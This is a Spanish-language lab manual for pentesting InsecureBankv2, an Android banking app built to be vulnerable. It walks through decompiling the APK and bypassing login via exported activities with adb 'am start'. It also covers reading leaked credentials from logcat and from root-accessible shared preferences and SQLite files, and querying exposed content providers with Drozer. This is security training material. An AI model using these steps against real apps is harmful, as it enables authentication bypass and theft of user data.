InsecureBankv2 es una aplicación Android vulnerable por diseño, creada para que los analistas de seguridad practiquen ingeniería inversa, análisis estático (SAST) y análisis dinámico (DAST). En este manual abordaremos las vulnerabilidades más críticas de la arquitectura Android.
Una APK es simplemente un archivo comprimido (ZIP). Sin embargo, su código fuente está compilado en bytecode (DEX). Necesitamos herramientas para revertirlo a formatos legibles.
# Descompilar recursos y Manifest usando apktool en Kali Linux:
apktool d InsecureBankv2.apk -o InsecureBank_Source
# Leer el Manifest para identificar Actividades, Permisos y Broadcast Receivers:
cat InsecureBank_Source/AndroidManifest.xml
Leer código Smali es muy tedioso. JADX decompila los archivos classes.dex directamente a código Java legible, permitiéndonos buscar contraseñas hardcodeadas o lógica criptográfica débil.
# Abrir la APK directamente en la interfaz gráfica de JADX:
jadx-gui InsecureBankv2.apk
# 1. Busca en "Resources/res/values/strings.xml" (Suele haber claves API aquí).
# 2. Revisa la clase "CryptoClass" (InsecureBank usa AES con una clave cifrada hardcodeada).
Un buen analista primero revisa qué pide la app para funcionar.
| Tipo de Permiso | Descripción | Riesgo |
|---|---|---|
| Normales | Internet, Bluetooth. Se conceden automáticamente. | Bajo |
| Dangerous (Runtime) | Cámara, Micrófono, Contactos, SMS, Ubicación. Requieren popup de confirmación al usuario. | Alto |
| Signature | Permisos customizados. Solo apps firmadas por el mismo desarrollador pueden usarlos. | Bajo |
| Device Admin / Root | Bloquear el teléfono, borrar datos o acceso completo a nivel Kernel. | Crítico |
Analizando el AndroidManifest.xml, descubres que la actividad de transferencias (.DoTransfer) tiene el atributo android:exported="true". Utiliza el Android Debug Bridge (ADB) y el Activity Manager (am) para invocar directamente esta pantalla en el móvil conectado y saltarte el login.
Si una actividad (pantalla) en Android tiene android:exported="true", cualquier otra aplicación o usuario del dispositivo puede abrirla directamente, saltándose el flujo lógico de la app (ej. saltándose la pantalla de Login).
# 1. Conectarse al dispositivo Android virtual o físico:
adb connect 127.0.0.1:5555
adb shell
# 2. Iniciar una actividad específica forzadamente con el Activity Manager (am):
# Bypass hacia el panel post-login:
am start -n com.android.insecurebankv2/.PostLogin
# Bypass directo hacia la pantalla de cambio de contraseñas:
am start -n com.android.insecurebankv2/.ChangePassword
Almacenar datos sin cifrar en el propio teléfono es el error #1 en aplicaciones móviles.
Los desarrolladores a menudo dejan funciones Log.d() en el código de producción que imprimen contraseñas o tokens en los registros globales del sistema.
# Monitorizar los logs del dispositivo en tiempo real filtrando por la app:
adb logcat | grep "insecurebankv2"
Si el atacante roba el teléfono y logra hacerle Root, puede extraer los archivos locales de la app ubicados en /data/data/com.android.insecurebankv2/.
adb shell
su
cd /data/data/com.android.insecurebankv2/
# 1. Shared Preferences (Contraseñas guardadas en texto claro XML):
cat shared_prefs/mySharedPreferences.xml
# 2. Base de datos local SQLite (Historial de transacciones sin cifrar):
sqlite3 databases/mydb
sqlite> SELECT * FROM transfers;
Drozer es el equivalente a Metasploit para aplicaciones Android. Interactúa con las apps mediante IPC (Inter-Process Communication).
# Conectarse al agente Drozer en el teléfono:
drozer console connect
# Identificar la superficie de ataque (Muestra qué está exportado):
dz> run app.package.attacksurface com.android.insecurebankv2
# Explotar Content Providers (Robo de datos a través de URIs vulnerables):
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
Para análisis automatizado de Malware en APKs, plataformas como VirusTotal son indispensables.